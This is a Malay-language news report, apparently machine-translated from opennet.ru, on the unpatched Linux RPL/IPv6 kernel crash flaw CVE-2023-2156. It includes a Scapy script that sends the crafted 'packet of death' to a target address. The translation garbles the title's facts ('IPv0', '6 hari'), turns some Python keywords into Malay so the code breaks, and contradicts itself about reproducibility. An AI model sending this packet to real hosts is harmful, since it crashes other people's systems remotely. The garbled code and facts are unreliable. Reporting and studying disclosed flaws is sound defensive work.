Kerentanan tindanan IPv0 Linux 6 hari yang membenarkan ranap kernel jauh

Maklumat telah didedahkan tentang kerentanan (0 hari) yang tidak diperbetulkan (CVE-2023-2156) dalam kernel Linux, yang membenarkan menghentikan sistem dengan menghantar paket IPv6 yang direka khas (paket kematian). Masalahnya hanya muncul apabila sokongan untuk protokol RPL (Routing Protocol for Low-Power and Lossy Networks) didayakan, yang dilumpuhkan secara lalai dalam pengedaran dan digunakan terutamanya pada peranti terbenam yang beroperasi dalam rangkaian wayarles dengan kehilangan paket yang tinggi.

Kerentanan disebabkan oleh pemprosesan data luaran yang salah dalam kod penghuraian protokol RPL, yang membawa kepada kegagalan menegaskan dan kernel memasuki keadaan panik. Apabila meletakkan data yang diperoleh daripada menghuraikan pengepala paket IPv6 RPL dalam struktur k_buff (Socket Buffer), jika medan CmprI ditetapkan kepada 15, medan Segleft kepada 1 dan CmprE kepada 0, vektor 48-bait dengan alamat dinyahmampat kepada 528 bait dan muncul situasi di mana memori yang diperuntukkan untuk penimbal tidak mencukupi. Dalam kes ini, fungsi skb_push, digunakan untuk menolak data ke dalam struktur, menyemak ketidakseimbangan antara saiz data dan penimbal, menjana keadaan panik untuk menghalang penulisan di luar sempadan penimbal.

Contoh eksploitasi: # Kami akan menggunakan Scapy untuk mencipta paket daripada scapy.all import * soket import # Gunakan IPv6 daripada antara muka LAN anda DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Kami menggunakan soket untuk menghantar paket sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Buat paket # Type = 3 menjadikan ini paket RPL # Alamat mengandungi 3 alamat, tetapi kerana CmprI ialah 15, # setiap oktet daripada dua alamat pertama ialah dianggap sebagai alamat termampat # Segleft = 1 untuk mencetuskan amplifikasi # lastentry = 0xf0 set CmprI kepada 15 dan CmprE kepada 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=[β€œa8: :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Hantar paket jahat ini sockfd.sendto(bait(p), (DST_ADDR, 0))

Perlu diperhatikan bahawa pembangun kernel telah dimaklumkan tentang kerentanan itu pada Januari 2022 dan sepanjang 15 bulan lalu mereka telah cuba menyelesaikan masalah itu tiga kali, mengeluarkan patch pada September 2022, Oktober 2022 dan April 2023, tetapi setiap kali pembaikan itu dilakukan. tidak mencukupi dan kelemahan tidak dapat dihasilkan semula. Akhirnya, projek ZDI, yang menyelaraskan kerja untuk membetulkan kelemahan, memutuskan untuk mengeluarkan maklumat terperinci tentang kelemahan tanpa menunggu pembetulan berfungsi tersedia dalam kernel.

Oleh itu, kelemahan masih kekal tidak diperbaiki. Khususnya, patch yang disertakan dalam kernel 6.4-rc2 tidak berkesan. Pengguna dinasihatkan untuk menyemak sama ada protokol RPL tidak digunakan pada sistem mereka, yang boleh dilakukan menggunakan arahan sysctl -a | grep -i rpl_seg_enabled

Sumber: opennet.ru

Tambah komen